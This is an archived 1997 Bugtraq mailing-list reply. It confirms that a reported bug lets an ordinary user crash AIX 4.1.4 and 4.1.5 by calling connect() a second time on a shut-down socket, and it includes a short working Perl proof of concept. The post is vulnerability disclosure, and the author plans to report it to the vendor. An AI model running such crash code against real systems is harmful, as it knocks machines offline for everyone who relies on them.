Bugtraq mailing list archives

Re: Bug in connect() for aix 4.1.4 ?


From: sten () CYBERENET NET (Steve Campbell)
Date: Wed, 5 Mar 1997 12:36:14 -0500



Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.


< c code deleted >

It works for AIX 4.1.5 as well, both in c and in PERL. I'll raise a
problem with Call-AIX in the morning.

-------------------------------------------
#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
-------------------------------------------

Steve



Current thread: